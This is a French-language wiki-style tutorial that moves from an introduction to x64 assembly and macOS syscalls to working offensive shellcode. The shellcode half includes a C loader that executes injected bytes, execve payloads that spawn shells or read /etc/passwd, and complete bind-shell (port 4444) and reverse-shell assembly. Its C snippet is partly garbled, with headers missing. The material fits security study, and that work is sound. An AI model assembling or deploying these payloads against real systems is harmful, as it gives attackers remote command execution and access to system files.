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Introduction to x64

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Introduction to x64

x64, également connu sous le nom de x86-64, est une architecture de processeur 64 bits principalement utilisée dans les ordinateurs de bureau et les serveurs. Issu de l'architecture x86 produite par Intel et adoptée ultérieurement par AMD sous le nom AMD64, c'est l'architecture prédominante dans les ordinateurs personnels et les serveurs d'aujourd'hui.

Registres

x64 étend l'architecture x86, avec 16 registres généraux étiquetés rax, rbx, rcx, rdx, rbp, rsp, rsi, rdi, et r8 à r15. Chacun de ces registres peut stocker une valeur de 64 bits (8 octets). Ces registres ont également des sous-registres de 32 bits, 16 bits et 8 bits pour la compatibilité et des tâches spécifiques.

  1. rax - Traditionnellement utilisé pour les valeurs de retour des fonctions.
  2. rbx - Souvent utilisé comme registre de base pour les opérations mémoire.
  3. rcx - Couramment utilisé pour les compteurs de boucle.
  4. rdx - Utilisé dans divers rôles, y compris les opérations arithmétiques étendues.
  5. rbp - Pointeur de base pour le cadre de la pile.
  6. rsp - Pointeur de pile, suivant le sommet de la pile.
  7. rsi et rdi - Utilisés pour les index source et destination dans les opérations de chaîne/mémoire.
  8. r8 à r15 - Registres généraux supplémentaires introduits en x64.

Convention d'appel

La convention d'appel x64 varie selon les systèmes d'exploitation. Par exemple :

  • Windows : Les quatre premiers paramètres sont passés dans les registres rcx, rdx, r8, et r9. Les paramètres supplémentaires sont poussés sur la pile. La valeur de retour est dans rax.
  • System V (couramment utilisé dans les systèmes de type UNIX) : Les six premiers paramètres entiers ou pointeurs sont passés dans les registres rdi, rsi, rdx, rcx, r8, et r9. La valeur de retour est également dans rax.

Si la fonction a plus de six entrées, le reste sera passé sur la pile. RSP, le pointeur de pile, doit être aligné sur 16 octets, ce qui signifie que l'adresse à laquelle il pointe doit être divisible par 16 avant tout appel. Cela signifie qu'en général, nous devrions nous assurer que RSP est correctement aligné dans notre shellcode avant d'effectuer un appel de fonction. Cependant, en pratique, les appels système fonctionnent souvent même si cette exigence n'est pas respectée.

Convention d'appel en Swift

Swift a sa propre convention d'appel que l'on peut trouver dans https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64

Instructions courantes

Les instructions x64 ont un ensemble riche, maintenant la compatibilité avec les instructions x86 antérieures et en introduisant de nouvelles.

  • mov : Déplacer une valeur d'un registre ou d'un emplacement mémoire à un autre.
  • Exemple : mov rax, rbx — Déplace la valeur de rbx vers rax.
  • push et pop : Pousser ou retirer des valeurs de/de la pile.
  • Exemple : push rax — Pousse la valeur de rax sur la pile.
  • Exemple : pop rax — Retire la valeur supérieure de la pile dans rax.
  • add et sub : Opérations d'addition et de soustraction.
  • Exemple : add rax, rcx — Ajoute les valeurs dans rax et rcx en stockant le résultat dans rax.
  • mul et div : Opérations de multiplication et de division. Remarque : elles ont des comportements spécifiques concernant l'utilisation des opérandes.
  • call et ret : Utilisés pour appeler et revenir des fonctions.
  • int : Utilisé pour déclencher une interruption logicielle. Par exemple, int 0x80 était utilisé pour les appels système dans Linux x86 32 bits.
  • cmp : Comparer deux valeurs et définir les indicateurs du CPU en fonction du résultat.
  • Exemple : cmp rax, rdx — Compare rax à rdx.
  • je, jne, jl, jge, ... : Instructions de saut conditionnel qui modifient le flux de contrôle en fonction des résultats d'un cmp ou d'un test précédent.
  • Exemple : Après une instruction cmp rax, rdx, je label — Saute à label si rax est égal à rdx.
  • syscall : Utilisé pour les appels système dans certains systèmes x64 (comme Unix moderne).
  • sysenter : Une instruction d'appel système optimisée sur certaines plateformes.

Prologue de fonction

  1. Pousser l'ancien pointeur de base : push rbp (sauve le pointeur de base de l'appelant)
  2. Déplacer le pointeur de pile actuel vers le pointeur de base : mov rbp, rsp (configure le nouveau pointeur de base pour la fonction actuelle)
  3. Allouer de l'espace sur la pile pour les variables locales : sub rsp, <taille> (où <taille> est le nombre d'octets nécessaires)

Épilogue de fonction

  1. Déplacer le pointeur de base actuel vers le pointeur de pile : mov rsp, rbp (désallouer les variables locales)
  2. Retirer l'ancien pointeur de base de la pile : pop rbp (restaure le pointeur de base de l'appelant)
  3. Retourner : ret (retourne le contrôle à l'appelant)

macOS

appels système

Il existe différentes classes d'appels système, vous pouvez les trouver ici:

#define SYSCALL_CLASS_NONE	0	/* Invalid */
#define SYSCALL_CLASS_MACH	1	/* Mach */
#define SYSCALL_CLASS_UNIX	2	/* Unix/BSD */
#define SYSCALL_CLASS_MDEP	3	/* Machine-dependent */
#define SYSCALL_CLASS_DIAG	4	/* Diagnostics */
#define SYSCALL_CLASS_IPC	5	/* Mach IPC */

Ensuite, vous pouvez trouver le numéro de chaque appel système dans cette URL:

0	AUE_NULL	ALL	{ int nosys(void); }   { indirect syscall }
1	AUE_EXIT	ALL	{ void exit(int rval); }
2	AUE_FORK	ALL	{ int fork(void); }
3	AUE_NULL	ALL	{ user_ssize_t read(int fd, user_addr_t cbuf, user_size_t nbyte); }
4	AUE_NULL	ALL	{ user_ssize_t write(int fd, user_addr_t cbuf, user_size_t nbyte); }
5	AUE_OPEN_RWTC	ALL	{ int open(user_addr_t path, int flags, int mode); }
6	AUE_CLOSE	ALL	{ int close(int fd); }
7	AUE_WAIT4	ALL	{ int wait4(int pid, user_addr_t status, int options, user_addr_t rusage); }
8	AUE_NULL	ALL	{ int nosys(void); }   { old creat }
9	AUE_LINK	ALL	{ int link(user_addr_t path, user_addr_t link); }
10	AUE_UNLINK	ALL	{ int unlink(user_addr_t path); }
11	AUE_NULL	ALL	{ int nosys(void); }   { old execv }
12	AUE_CHDIR	ALL	{ int chdir(user_addr_t path); }
[...]

Donc, pour appeler l'appel système open (5) de la classe Unix/BSD, vous devez ajouter 0x2000000 :

Ainsi, le numéro de l'appel système pour appeler open serait 0x2000005

Shellcodes

Pour compiler :

{% code overflow="wrap" %}

nasm -f macho64 shell.asm -o shell.o
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib

{% endcode %}

Pour extraire les octets :

{% code overflow="wrap" %}

# Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh
for c in $(objdump -d "shell.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
echo -n '\\x'$c
done

# Another option
otool -t shell.o | grep 00 | cut -f2 -d$'\t' | sed 's/ /\\x/g' | sed 's/^/\\x/g' | sed 's/\\x$//g'

{% endcode %}

Code C pour tester le shellcode ```c // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader #include #include <sys/mman.h> #include #include

int (*sc)();

char shellcode[] = "";

int main(int argc, char **argv) { printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode));

void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);

if (ptr == MAP_FAILED) { perror("mmap"); exit(-1); } printf("[+] SUCCESS: mmap\n"); printf(" |-> Return = %p\n", ptr);

void *dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf("[+] SUCCESS: memcpy\n"); printf(" |-> Return = %p\n", dst);

int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);

if (status == -1) { perror("mprotect"); exit(-1); } printf("[+] SUCCESS: mprotect\n"); printf(" |-> Return = %d\n", status);

printf("[>] Trying to execute shellcode...\n");

sc = ptr; sc();

return 0; }

</details>

#### Shell

Extrait de [**ici**](https://github.com/daem0nc0re/macOS\_ARM64\_Shellcode/blob/master/shell.s) et expliqué.

{% tabs %}
{% tab title="avec adr" %}
```armasm
bits 64
global _main
_main:
call    r_cmd64
db '/bin/zsh', 0
r_cmd64:                      ; the call placed a pointer to db (argv[2])
pop     rdi               ; arg1 from the stack placed by the call to l_cmd64
xor     rdx, rdx          ; store null arg3
push    59                ; put 59 on the stack (execve syscall)
pop     rax               ; pop it to RAX
bts     rax, 25           ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

{% endtab %}

{% tab title="avec pile" %}

bits 64
global _main

_main:
xor     rdx, rdx          ; zero our RDX
push    rdx               ; push NULL string terminator
mov     rbx, '/bin/zsh'   ; move the path into RBX
push    rbx               ; push the path, to the stack
mov     rdi, rsp          ; store the stack pointer in RDI (arg1)
push    59                ; put 59 on the stack (execve syscall)
pop     rax               ; pop it to RAX
bts     rax, 25           ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

{% endtab %} {% endtabs %}

Lire avec cat

L'objectif est d'exécuter execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL), donc le deuxième argument (x1) est un tableau de paramètres (ce qui signifie en mémoire une pile d'adresses).

bits 64
section .text
global _main

_main:
; Prepare the arguments for the execve syscall
sub rsp, 40         ; Allocate space on the stack similar to `sub sp, sp, #48`

lea rdi, [rel cat_path]   ; rdi will hold the address of "/bin/cat"
lea rsi, [rel passwd_path] ; rsi will hold the address of "/etc/passwd"

; Create inside the stack the array of args: ["/bin/cat", "/etc/passwd"]
push rsi   ; Add "/etc/passwd" to the stack (arg0)
push rdi   ; Add "/bin/cat" to the stack (arg1)

; Set in the 2nd argument of exec the addr of the array
mov rsi, rsp    ; argv=rsp - store RSP's value in RSI

xor rdx, rdx    ; Clear rdx to hold NULL (no environment variables)

push    59      ; put 59 on the stack (execve syscall)
pop     rax     ; pop it to RAX
bts     rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall         ; Make the syscall

section .data
cat_path:      db "/bin/cat", 0
passwd_path:   db "/etc/passwd", 0

Appeler la commande avec sh

bits 64
section .text
global _main

_main:
; Prepare the arguments for the execve syscall
sub rsp, 32           ; Create space on the stack

; Argument array
lea rdi, [rel touch_command]
push rdi                      ; push &"touch /tmp/lalala"
lea rdi, [rel sh_c_option]
push rdi                      ; push &"-c"
lea rdi, [rel sh_path]
push rdi                      ; push &"/bin/sh"

; execve syscall
mov rsi, rsp                  ; rsi = pointer to argument array
xor rdx, rdx                  ; rdx = NULL (no env variables)
push    59                    ; put 59 on the stack (execve syscall)
pop     rax                   ; pop it to RAX
bts     rax, 25               ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

_exit:
xor rdi, rdi                  ; Exit status code 0
push    1                     ; put 1 on the stack (exit syscall)
pop     rax                   ; pop it to RAX
bts     rax, 25               ; set the 25th bit to 1 (to add 0x2000000 without using null bytes)
syscall

section .data
sh_path:        db "/bin/sh", 0
sh_c_option:    db "-c", 0
touch_command:  db "touch /tmp/lalala", 0

Coquille de liaison

Coquille de liaison depuis https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html sur le port 4444

section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor  rdi, rdi
mul  rdi
mov  dil, 0x2
xor  rsi, rsi
mov  sil, 0x1
mov  al, 0x2
ror  rax, 0x28
mov  r8, rax
mov  al, 0x61
syscall

; struct sockaddr_in {
;         __uint8_t       sin_len;
;         sa_family_t     sin_family;
;         in_port_t       sin_port;
;         struct  in_addr sin_addr;
;         char            sin_zero[8];
; };
mov  rsi, 0xffffffffa3eefdf0
neg  rsi
push rsi
push rsp
pop  rsi

; bind(host_sockid, &sockaddr, 16)
mov  rdi, rax
xor  dl, 0x10
mov  rax, r8
mov  al, 0x68
syscall

; listen(host_sockid, 2)
xor  rsi, rsi
mov  sil, 0x2
mov  rax, r8
mov  al, 0x6a
syscall

; accept(host_sockid, 0, 0)
xor  rsi, rsi
xor  rdx, rdx
mov  rax, r8
mov  al, 0x1e
syscall

mov rdi, rax
mov sil, 0x3

dup2:
; dup2(client_sockid, 2)
;   -> dup2(client_sockid, 1)
;   -> dup2(client_sockid, 0)
mov  rax, r8
mov  al, 0x5a
sub  sil, 1
syscall
test rsi, rsi
jne  dup2

; execve("//bin/sh", 0, 0)
push rsi
mov  rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop  rdi
mov  rax, r8
mov  al, 0x3b
syscall

Shell Inversé

Shell inversé depuis https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html. Shell inversé vers 127.0.0.1:4444

section .text
global _main
_main:
; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP)
xor  rdi, rdi
mul  rdi
mov  dil, 0x2
xor  rsi, rsi
mov  sil, 0x1
mov  al, 0x2
ror  rax, 0x28
mov  r8, rax
mov  al, 0x61
syscall

; struct sockaddr_in {
;         __uint8_t       sin_len;
;         sa_family_t     sin_family;
;         in_port_t       sin_port;
;         struct  in_addr sin_addr;
;         char            sin_zero[8];
; };
mov  rsi, 0xfeffff80a3eefdf0
neg  rsi
push rsi
push rsp
pop  rsi

; connect(sockid, &sockaddr, 16)
mov  rdi, rax
xor  dl, 0x10
mov  rax, r8
mov  al, 0x62
syscall

xor rsi, rsi
mov sil, 0x3

dup2:
; dup2(sockid, 2)
;   -> dup2(sockid, 1)
;   -> dup2(sockid, 0)
mov  rax, r8
mov  al, 0x5a
sub  sil, 1
syscall
test rsi, rsi
jne  dup2

; execve("//bin/sh", 0, 0)
push rsi
mov  rdi, 0x68732f6e69622f2f
push rdi
push rsp
pop  rdi
xor  rdx, rdx
mov  rax, r8
mov  al, 0x3b
syscall
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